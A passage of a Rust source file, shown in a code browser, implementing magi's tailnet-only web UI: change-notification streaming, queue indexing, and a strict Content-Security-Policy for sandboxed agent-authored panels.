Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # Independent scheduler
72//!
73//! `/api/loop` starts and controls a detached scheduler. Replacing or closing
74//! the web process does not stop that scheduler or its task/chat workers.
75//! Stop ends scheduling; explicit park additionally asks task workers to stop
76//! at their next node boundary. Updating never requests a park.
77
78#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85use std::pin::Pin;
86use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
87use std::time::Duration;
88use tokio::sync::Notify;
89
90use anyhow::{Context, Result};
91use axum::Json;
92use axum::Router;
93use axum::body::Bytes;
94use axum::extract::rejection::JsonRejection;
95use axum::extract::{DefaultBodyLimit, Path, Query, State};
96use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
97use axum::response::sse::{Event, KeepAlive, Sse};
98use axum::response::{IntoResponse, Response};
99use axum::routing::{get, post, put};
100use jiff::Timestamp;
101use serde::{Deserialize, Serialize};
102use tokio_stream::StreamExt as _;
103use tokio_stream::wrappers::ReceiverStream;
104
105use crate::agent;
106use crate::ask::{self, Answer, Question, Questions};
107use crate::config::{AgentKind, Config, Update, UpdateMode};
108use crate::md;
109use crate::notices::{Notice, Notices};
110use crate::persona;
111use crate::persona_icon;
112use crate::proc::Quiet as _;
113use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
114use crate::run::{RunState, RunStatus};
115use crate::talk::{Talk, Talks};
116use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
117
118/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
119pub const DEFAULT_PORT: u16 = 7878;
120
121/// How often the change stream restats the queue and the runs directory.
122const POLL: Duration = Duration::from_secs(1);
123
124/// Keep-alive interval for the change stream. Phones and intermediaries drop
125/// an idle connection within a minute; a comment every fifteen seconds keeps
126/// the stream alive without waking the radio often enough to matter.
127const KEEPALIVE: Duration = Duration::from_secs(15);
128
129/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
130///
131/// A fixed period this long would not track a `[update] interval` shorter
132/// than itself: an operator who set `interval = "1m"` to make the deck
133/// notice a release within a minute would still wait up to fifteen of them
134/// for the next wake-up to even ask [`updater::Checker::should_check`].
135/// [`recheck_poll_period`] scales the sleep with the configured interval
136/// instead, and this is only its ceiling - reached at the default interval
137/// of a day, where waking any more often would just spend cycles asking a
138/// question that stays "no" for hours.
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
140
141/// Floor on the same, so a very short `[update] interval` cannot spin
142/// [`run_update_recheck`] in a near-busy loop.
143const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
144
145/// Runs returned when the client does not ask, and the ceiling if it asks for
146/// more. The cap exists because the list handler parses every `run.json` it
147/// returns, and a phone cannot render two thousand rows anyway.
148const LIST_DEFAULT: usize = 50;
149/// Upper bound for `?limit=`.
150const LIST_MAX: usize = 500;
151
152/// Width of a generated task title, matching what the CLI uses.
153const TITLE_MAX: usize = 72;
154
155/// Per-file cap for an attachment upload.
156///
157/// Enforced twice: axum's own body limit is raised one byte above this, only
158/// on the two attachment `POST` routes (see the router - every other route
159/// keeps the crate-wide default), so an oversize body is still read far
160/// enough to answer with our own message below rather than axum's generic
161/// one; this constant is what that message and the boundary check actually
162/// compare against.
163const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
164
165/// The image types an attachment upload accepts - a closed whitelist, the
166/// same posture [`asset_content_type`] takes for panel assets and for the
167/// same reason: SVG is excluded on purpose because it is active content
168/// (it may carry `<script>`) and not merely a picture, so it never appears
169/// here even though `image/svg+xml` is a real IANA type.
170const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
171
172/// Header carrying the operator's own filename. Free text, stored only for
173/// display - see [`talk::Attachment::name`]'s doc on why it never
174/// contributes to a path.
175const FILENAME_HEADER: &str = "x-filename";
176
177/// The header that makes serving agent-authored HTML defensible, sent by both
178/// panel routes and asserted verbatim by a test.
179///
180/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
181/// denies every fetch destination that is not re-allowed below, which is all of
182/// them except images and fonts; `img-src 'self' data:` means an image comes
183/// from magi's own asset route or from the document itself, so a panel cannot
184/// signal an outside server by pointing an `<img>` at it - the classic
185/// exfiltration channel for markup that cannot run script. `style-src
186/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
187/// free formatting means here and a style sheet cannot make a request that
188/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
189/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
190/// stops a form posting the owner's decision to a third party, and
191/// `frame-ancestors 'self'` stops another site framing the panel to phish with
192/// it.
193///
194/// There is deliberately no `script-src`: `default-src 'none'` already covers
195/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
196/// denied twice over. Weakening any directive here is the difference between a
197/// panel the owner reads and a page that can talk to the tailnet, which is why
198/// the test compares the whole string rather than looking for a substring.
199const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
200                         font-src data:; base-uri 'none'; form-action 'none'; \
201                         frame-ancestors 'self'";
202
203const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
204const APP_CSS: &str = include_str!("../assets/ui/app.css");
205const APP_JS: &str = include_str!("../assets/ui/app.js");
206
207/// Which address to listen on.
208#[derive(Debug, Clone, Copy, PartialEq, Eq)]
209pub enum Bind {
210    /// Ask Tailscale, and fall back to loopback with a warning.
211    Auto,
212    /// An address the operator named.
213    Addr(IpAddr),
214}
215
216impl std::str::FromStr for Bind {
217    type Err = String;
218
219    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
220    /// the CLI can take `--bind` straight into it: the one spelling of
221    /// `auto` that matters is the one this function knows.
222    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
223        if s.eq_ignore_ascii_case("auto") {
224            return Ok(Self::Auto);
225        }
226        s.parse()
227            .map(Self::Addr)
228            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
229    }
230}
231
232impl std::fmt::Display for Bind {
233    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
234        match self {
235            Self::Auto => f.write_str("auto"),
236            Self::Addr(addr) => write!(f, "{addr}"),
237        }
238    }
239}
240
241/// How to serve.
242#[derive(Debug, Clone)]
243pub struct Opts {
244    /// Address to listen on.
245    pub bind: Bind,
246    /// Port to listen on.
247    pub port: u16,
248    /// Repository used for tasks posted without one.
249    pub repo: PathBuf,
250    /// Print the URL on its own line for a caller that wants to hand it to a
251    /// browser. magi never launches one itself.
252    pub open: bool,
253    /// Merge mode override for the independent scheduler (`none`, `local`,
254    /// `pr`); `None` leaves it to each repository's own config.
255    ///
256    /// The same override as `magi serve --merge`, passed when the phone starts
257    /// dispatch without requiring a terminal.
258    pub merge: Option<String>,
259}
260
261impl Default for Opts {
262    fn default() -> Self {
263        Self {
264            bind: Bind::Auto,
265            port: DEFAULT_PORT,
266            repo: PathBuf::from("."),
267            open: false,
268            merge: None,
269        }
270    }
271}
272
273mod id_links;
274
275type Stamps = HashMap<String, (u128, u64)>;
276
277/// Metadata only: no task instructions or conversation bodies are read here.
278fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
279    try_store_stamps(root, runs).unwrap_or_default()
280}
281
282fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
283    try_stamps(root, runs, false)
284}
285
286fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
287    use std::hash::{Hash as _, Hasher as _};
288    let entries = match std::fs::read_dir(root) {
289        Ok(entries) => entries,
290        Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
291        Err(e) => return Err(e),
292    };
293    let mut stamps = HashMap::new();
294    for entry in entries {
295        let entry = entry?;
296        let path = if runs {
297            entry.path().join("run.json")
298        } else {
299            entry.path()
300        };
301        if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
302            continue;
303        }
304        let identity = match file_identity(&path) {
305            Ok(identity) => identity,
306            Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
307            Err(e) => return Err(e),
308        };
309        let modified = identity
310            .modified
311            .duration_since(std::time::UNIX_EPOCH)
312            .unwrap_or_default();
313        let mut hasher = std::hash::DefaultHasher::new();
314        identity.hash(&mut hasher);
315        let id = if runs || all_entries {
316            entry.file_name().to_string_lossy().into_owned()
317        } else {
318            path.file_stem()
319                .unwrap_or_default()
320                .to_string_lossy()
321                .into_owned()
322        };
323        stamps.insert(id, (modified.as_nanos(), hasher.finish()));
324    }
325    Ok(stamps)
326}
327
328#[derive(Debug, Serialize)]
329struct Delta {
330    base: u64,
331    changed: Vec<String>,
332    removed: Vec<String>,
333}
334
335fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
336    let mut changed: Vec<_> = next
337        .iter()
338        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
339        .map(|(id, _)| id.clone())
340        .collect();
341    let mut removed: Vec<_> = previous
342        .keys()
343        .filter(|id| !next.contains_key(*id))
344        .cloned()
345        .collect();
346    changed.sort_unstable();
347    removed.sort_unstable();
348    Delta {
349        base,
350        changed,
351        removed,
352    }
353}
354
355/// Change detection token for recorded runs under `runs`.
356#[cfg(test)]
357fn runs_revision(runs: &FsPath) -> u64 {
358    stamps_revision(&store_stamps(runs, true))
359}
360
361/// Opaque tokens use the exact metadata snapshot behind the delta, in both
362/// health and SSE. Nanoseconds and length also detect same-millisecond writes
363/// and deleting an older conversation (a newest-mtime token cannot do that).
364fn stamps_revision(stamps: &Stamps) -> u64 {
365    use std::hash::{Hash as _, Hasher as _};
366    if stamps.is_empty() {
367        return 0;
368    }
369    let mut entries: Vec<_> = stamps.iter().collect();
370    entries.sort_unstable();
371    let mut hasher = std::hash::DefaultHasher::new();
372    entries.hash(&mut hasher);
373    hasher.finish().max(1)
374}
375
376#[derive(Clone, Debug)]
377pub(crate) struct ChangeNotification {
378    pub payload: serde_json::Value,
379}
380
381#[derive(Default, Debug)]
382pub(crate) struct QueueIndex {
383    // Retain parsed records only while their file identity is unchanged.
384    records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
385    #[cfg(test)]
386    reparsed: usize,
387}
388
389#[derive(Clone, Debug)]
390struct TaskRelation {
391    id: String,
392    status: Option<crate::queue::TaskStatus>,
393    priority: i32,
394    runs: Vec<String>,
395    source: Source,
396    chat: Option<String>,
397}
398
399impl From<Task> for TaskRelation {
400    fn from(task: Task) -> Self {
401        Self {
402            id: task.id,
403            status: Some(task.status),
404            priority: task.priority,
405            runs: task.runs,
406            source: task.source,
407            chat: task.chat,
408        }
409    }
410}
411
412#[derive(Debug, PartialEq, Eq, Hash)]
413struct FileIdentity {
414    modified: std::time::SystemTime,
415    len: u64,
416    #[cfg(unix)]
417    identity: (u64, u64, i64, i64),
418}
419
420fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
421    let meta = path.metadata()?;
422    Ok(FileIdentity {
423        modified: meta.modified()?,
424        len: meta.len(),
425        #[cfg(unix)]
426        identity: {
427            use std::os::unix::fs::MetadataExt as _;
428            (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
429        },
430    })
431}
432
433type Revisions = (u64, u64, u64, u64, u64, u64);
434type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
435
436#[derive(Debug)]
437pub(crate) struct SharedMonitor {
438    pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
439    pub latest: Arc<Mutex<MonitorSnapshot>>,
440    pub worker_started: std::sync::atomic::AtomicBool,
441    pub queue_index: Arc<Mutex<QueueIndex>>,
442    list_walks: Mutex<Vec<ListWalk>>,
443    disk: Arc<Mutex<DiskObservation>>,
444    health_index: Mutex<HealthIndex>,
445    disk_cache: Mutex<DiskCache>,
446    talk_index: Mutex<HashMap<String, (FileIdentity, TalkListView)>>,
447    bulk_slots: Arc<tokio::sync::Semaphore>,
448    #[cfg(test)]
449    talk_parses: std::sync::atomic::AtomicUsize,
450}
451
452/// Request-time indexes retain projections, never transcripts or whole runs.
453#[derive(Debug, Default)]
454struct HealthIndex {
455    runs: HashMap<String, (FileIdentity, bool)>,
456    questions: Option<QuestionCounts>,
457    notices: Option<(u64, usize)>,
458    #[cfg(test)]
459    run_parses: usize,
460}
461
462/// Live stamps invalidate counts immediately; the TTL also refreshes lease state.
463const QUESTION_COUNTS_TTL: Duration = Duration::from_secs(10);
464
465#[derive(Debug)]
466struct QuestionCounts {
467    revision: u64,
468    measured: std::time::Instant,
469    open: usize,
470    owner: usize,
471}
472
473#[derive(Debug, Clone)]
474struct DiskSizes {
475    runs: u64,
476    worktrees: u64,
477    cache: Option<u64>,
478}
479
480#[derive(Debug, Default)]
481struct DiskCache {
482    measured: Option<std::time::Instant>,
483    loading: bool,
484    config: Option<Config>,
485    disk: Option<DiskSizes>,
486    update: Option<UpdateView>,
487}
488
489/// Keep a failed store's last observation without suppressing healthy stores.
490fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
491    let (mut rev, mut stamps) = previous.unwrap_or_default();
492    for (index, root, runs) in [
493        (0, ui.queue.root(), false),
494        (1, ui.runs.as_path(), true),
495        (2, ui.talks.root(), false),
496    ] {
497        if let Ok(next) = try_store_stamps(root, runs) {
498            let value = stamps_revision(&next);
499            match index {
500                0 => rev.0 = value,
501                1 => rev.1 = value,
502                _ => rev.3 = value,
503            }
504            stamps[index] = next;
505        }
506    }
507    if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
508        rev.2 = stamps_revision(&next);
509    }
510    if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
511        rev.4 = stamps_revision(&next);
512    }
513    rev.5 = ui.lock_loop().rev;
514    (rev, stamps)
515}
516
517impl SharedMonitor {
518    pub fn new() -> Self {
519        let (tx, _) = tokio::sync::broadcast::channel(64);
520        Self {
521            broadcaster: tx,
522            latest: Arc::default(),
523            worker_started: std::sync::atomic::AtomicBool::new(false),
524            queue_index: Arc::default(),
525            list_walks: Mutex::default(),
526            disk: Arc::default(),
527            health_index: Mutex::default(),
528            disk_cache: Mutex::default(),
529            talk_index: Mutex::default(),
530            bulk_slots: Arc::new(tokio::sync::Semaphore::new(2)),
531            #[cfg(test)]
532            talk_parses: std::sync::atomic::AtomicUsize::new(0),
533        }
534    }
535
536    async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
537        let mut receiver = self.broadcaster.subscribe();
538        self.ensure_worker(ui);
539        loop {
540            if let Some((revisions, _)) = self
541                .latest
542                .lock()
543                .unwrap_or_else(PoisonError::into_inner)
544                .as_ref()
545            {
546                return Ok(*revisions);
547            }
548            tokio::time::timeout(Duration::from_secs(5), receiver.recv())
549                .await
550                .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
551                .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
552        }
553    }
554
555    pub fn ensure_worker(&self, ui: &Arc<Ui>) {
556        if self
557            .worker_started
558            .compare_exchange(
559                false,
560                true,
561                std::sync::atomic::Ordering::SeqCst,
562                std::sync::atomic::Ordering::SeqCst,
563            )
564            .is_err()
565        {
566            return;
567        }
568
569        let weak_ui = Arc::downgrade(ui);
570        tokio::spawn(async move {
571            let mut ticker = tokio::time::interval(POLL);
572            loop {
573                ticker.tick().await;
574                let Some(ui) = weak_ui.upgrade() else {
575                    break;
576                };
577
578                let previous = ui
579                    .monitor
580                    .latest
581                    .lock()
582                    .unwrap_or_else(PoisonError::into_inner)
583                    .clone();
584                let state = Arc::clone(&ui);
585                let scan =
586                    tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
587
588                // A slow filesystem must not turn missed ticks into a busy loop.
589                ticker.reset();
590                let Ok((revisions, next_stamps)) = scan else {
591                    continue;
592                };
593
594                let mut latest_guard = match ui.monitor.latest.lock() {
595                    Ok(g) => g,
596                    Err(p) => p.into_inner(),
597                };
598
599                let previous = latest_guard.take();
600                let (last_rev, prev_stamps) = match previous {
601                    Some((r, s)) => (Some(r), Some(s)),
602                    None => (None, None),
603                };
604
605                if last_rev == Some(revisions) {
606                    *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
607                    continue;
608                }
609
610                let mut payload = serde_json::json!({
611                    "queue_rev": revisions.0,
612                    "runs_rev": revisions.1,
613                    "questions_rev": revisions.2,
614                    "talks_rev": revisions.3,
615                    "notifications_rev": revisions.4,
616                    "loop_rev": revisions.5,
617                });
618
619                if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
620                    for (index, (key, rev)) in [
621                        ("queue_delta", base.0),
622                        ("runs_delta", base.1),
623                        ("talks_delta", base.3),
624                    ]
625                    .into_iter()
626                    .enumerate()
627                    {
628                        let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
629                        if delta.changed.len() + delta.removed.len() > 0
630                            && delta.changed.len() <= 50
631                        {
632                            payload[key] = serde_json::to_value(delta).expect("serializable delta");
633                        }
634                    }
635                }
636
637                *latest_guard = Some((revisions, next_stamps));
638                drop(latest_guard);
639
640                let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
641            }
642        });
643    }
644}
645
646/// Everything the handlers touch.
647///
648/// The queue, the runs directory and the magi home are fields rather than
649/// process-global lookups so a test drives the real router against a temp
650/// directory instead of the operator's own history.
651#[derive(Debug, Clone)]
652pub struct Ui {
653    queue: Queue,
654    questions: Questions,
655    /// `<home>/notifications`, the bell's own store. Derived from `home` in
656    /// [`Ui::new`] so no constructor signature had to grow.
657    notices: Notices,
658    talks: Talks,
659    runs: PathBuf,
660    references: Arc<id_links::IndexCache>,
661    home: PathBuf,
662    repo: PathBuf,
663    /// Where the runs' worktrees live, for the health disk figures.
664    ///
665    /// Spelled independently of [`crate::run::default_worktree_root`] so the
666    /// test servers can point it at their own temp directory: the health route
667    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
668    /// be measuring the machine instead of the server.
669    worktrees_root: PathBuf,
670    /// Talks with an agent turn in flight right now.
671    ///
672    /// In-process and therefore not durable, which is correct: it guards
673    /// against two taps on one phone and two phones on one tailnet, both of
674    /// which are this process's own concurrency. A second `magi web` would not
675    /// see it, and a second `magi web` on the same home is already a
676    /// misconfiguration the queue's claims would catch first.
677    talk_turns: Arc<Mutex<TalkTurns>>,
678    /// Short persistence-to-worker-publication transactions only, never agent
679    /// execution. A handover closes admission before it releases the runtime.
680    admissions: Arc<tokio::sync::RwLock<bool>>,
681    /// Held by `POST /api/upgrade` from its busy-stage check until the first
682    /// progress record is written, so two taps cannot both start an upgrade.
683    /// After that `upgrade.json` carries the exclusion.
684    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
685    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
686    /// exclusion in memory for when `upgrade.json` could not be written.
687    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
688    /// Request failures before progress exists; never overwrite upgrade.json.
689    upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
690    auto_failed_tag: Arc<Mutex<Option<String>>>,
691    upgrade_runner: UpgradeRunner,
692    /// Runs this process is resuming right now.
693    ///
694    /// Separate from `talk_turns` because a run and a talk are different
695    /// things to hold, and a resume is far more expensive to start twice: it
696    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
697    /// guards two taps and two phones, which is this process's own
698    /// concurrency.
699    resuming: Arc<Mutex<HashSet<String>>>,
700    /// The last scan of `[repos] roots`, and when it happened. Shared across
701    /// requests so polling `GET /api/repos` repeatedly does not repeat the
702    /// filesystem walk every time - see [`repos::Cache`].
703    repos_cache: repos::Cache,
704    /// The machine-config file the settings screen reads and writes: always
705    /// [`Config::machine_layer`], never anything a request names. A field so a
706    /// test can point it at its own temp directory instead of the operator's.
707    machine_config: Option<PathBuf>,
708    /// Merge mode override handed to the loop this process starts.
709    merge: Option<String>,
710    /// Local request revision and errors; execution belongs to detached workers.
711    looping: Arc<Mutex<LoopState>>,
712    /// Isolated route-test scheduler; never compiled into production.
713    #[cfg(test)]
714    launch: Launch,
715    /// A test-only stop point inside `talk_say`'s busy branch. See
716    /// [`BusyQueueGate`].
717    #[cfg(test)]
718    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
719    pub(crate) monitor: Arc<SharedMonitor>,
720}
721
722type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
723
724/// A one-shot stop point the busy branch's queued-draft write can be made to
725/// pause at, right before [`talk::queue`] runs.
726///
727/// Exists because a test cannot otherwise pin *when*, relative to the turn
728/// slot being freed, that write happens: `blocking` runs it on
729/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
730/// already finished, so counting polls on the handler future to park it at a
731/// particular `.await` is a guess about scheduling, not a fact about it - see
732/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
733/// used to do exactly that and paid for it with an occasional "async fn
734/// resumed after completion" panic under load.
735///
736/// `reached` fires the instant the write is about to run, so a test waits for
737/// a real event instead of a poll count. `release` then blocks the write
738/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
739/// rather than an async channel because this all happens inside the
740/// `spawn_blocking` closure the write already runs on, off any runtime
741/// worker, so blocking here costs nothing the write was not already going to
742/// cost.
743#[cfg(test)]
744struct BusyQueueGate {
745    reached: tokio::sync::oneshot::Sender<()>,
746    release: std::sync::mpsc::Receiver<()>,
747}
748
749#[cfg(test)]
750impl std::fmt::Debug for BusyQueueGate {
751    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
752        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
753    }
754}
755
756impl Ui {
757    /// A server over explicit paths.
758    pub fn new(
759        queue: Queue,
760        questions: Questions,
761        talks: Talks,
762        runs: PathBuf,
763        home: PathBuf,
764        repo: PathBuf,
765    ) -> Self {
766        Self {
767            queue,
768            questions,
769            notices: Notices::at(home.join("notifications")),
770            talks,
771            runs,
772            references: Arc::default(),
773            home,
774            repo,
775            // The default location, overridden by `with_worktrees_root` - a
776            // builder step rather than a ninth parameter, for the reason
777            // `with_merge` gives.
778            worktrees_root: run::default_worktree_root(),
779            talk_turns: Arc::default(),
780            admissions: Arc::default(),
781            upgrade_gate: Arc::default(),
782            upgrade_spawned: Arc::default(),
783            upgrade_request_error: Arc::default(),
784            auto_failed_tag: Arc::default(),
785            upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
786            resuming: Arc::default(),
787            repos_cache: repos::Cache::new(),
788            machine_config: Config::machine_layer(),
789            merge: None,
790            looping: Arc::default(),
791            #[cfg(test)]
792            launch: launch_daemon,
793            #[cfg(test)]
794            busy_queue_gate: Arc::default(),
795            monitor: Arc::new(SharedMonitor::new()),
796        }
797    }
798
799    /// Refresh metadata on every lookup, including external-process writes. Only
800    /// changed records are parsed. Never publish a partial scan as an empty set.
801    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
802        let mut index = self
803            .monitor
804            .queue_index
805            .lock()
806            .unwrap_or_else(PoisonError::into_inner);
807        let entries = match std::fs::read_dir(self.queue.root()) {
808            Ok(entries) => entries,
809            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
810                index.records.clear();
811                return Ok(Vec::new());
812            }
813            Err(e) => return Err(anyhow::Error::from(e).into()),
814        };
815        let mut seen = HashSet::new();
816        for entry in entries {
817            let path = entry.map_err(anyhow::Error::from)?.path();
818            if path.extension().is_none_or(|ext| ext != "json") {
819                continue;
820            }
821            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
822                continue;
823            };
824            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
825            seen.insert(id.to_owned());
826            // On platforms without inode/ctime, re-read rather than trust a
827            // same-size replacement with a preserved modification timestamp.
828            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
829                let Ok(task) = self.queue.get(id) else {
830                    // Isolate an unreadable record, as Queue::list does. Keep
831                    // its last known relationship so a lookup of THAT task
832                    // still fails on the authoritative read below. Never let
833                    // unrelated corruption disable every run and conversation.
834                    // Counts must not present its previous status as current.
835                    if let Some((_, record)) = index.records.get_mut(id) {
836                        Arc::make_mut(record).status = None;
837                    }
838                    continue;
839                };
840                #[cfg(test)]
841                {
842                    index.reparsed += 1;
843                }
844                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
845                    return Err(ApiError::conflict("Queue changed during read; retry"));
846                }
847                index
848                    .records
849                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
850            }
851        }
852        index.records.retain(|id, _| seen.contains(id));
853        let mut tasks: Vec<_> = index
854            .records
855            .values()
856            .map(|(_, task)| task.clone())
857            .collect();
858        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
859        Ok(tasks)
860    }
861
862    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
863        let Some(record) = self
864            .indexed_tasks()?
865            .into_iter()
866            .find(|task| task.runs.iter().any(|id| id == run_id))
867        else {
868            return Ok(None);
869        };
870        let task = self.queue.get(&record.id)?;
871        if !task.runs.iter().any(|id| id == run_id) {
872            return Err(ApiError::conflict("Task relationship changed; retry"));
873        }
874        Ok(Some(task))
875    }
876
877    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
878        self.indexed_tasks()?
879            .into_iter()
880            .filter(|task| {
881                task.chat.as_deref() == Some(talk_id)
882                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
883            })
884            .map(|record| {
885                let task = self.queue.get(&record.id)?;
886                if task.chat.as_deref() != Some(talk_id)
887                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
888                {
889                    return Err(ApiError::conflict("Task relationship changed; retry"));
890                }
891                Ok(task)
892            })
893            .collect()
894    }
895
896    /// The operator's own state: `<home>/queue`, `<home>/questions`,
897    /// `<home>/talks`, `<home>/runs`.
898    pub fn open(repo: PathBuf) -> Self {
899        Self::new(
900            Queue::open(),
901            Questions::open(),
902            Talks::open(),
903            run::runs_root(),
904            run::home(),
905            repo,
906        )
907    }
908
909    /// The merge mode the loop should use, as the command line gave it.
910    ///
911    /// A builder step rather than a seventh parameter on [`Ui::new`], because
912    /// the override is a property of how this process was invoked and not of
913    /// where its state lives - which is all the tests that build a `Ui` by
914    /// hand are saying.
915    #[must_use]
916    pub fn with_merge(mut self, merge: Option<String>) -> Self {
917        self.merge = merge;
918        self
919    }
920
921    /// The machine-config file the settings screen writes, when it is not
922    /// [`Config::machine_layer`] (tests).
923    #[cfg(test)]
924    #[must_use]
925    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
926        self.machine_config = path;
927        self
928    }
929
930    /// Where the runs' worktrees live, when it is not the default.
931    ///
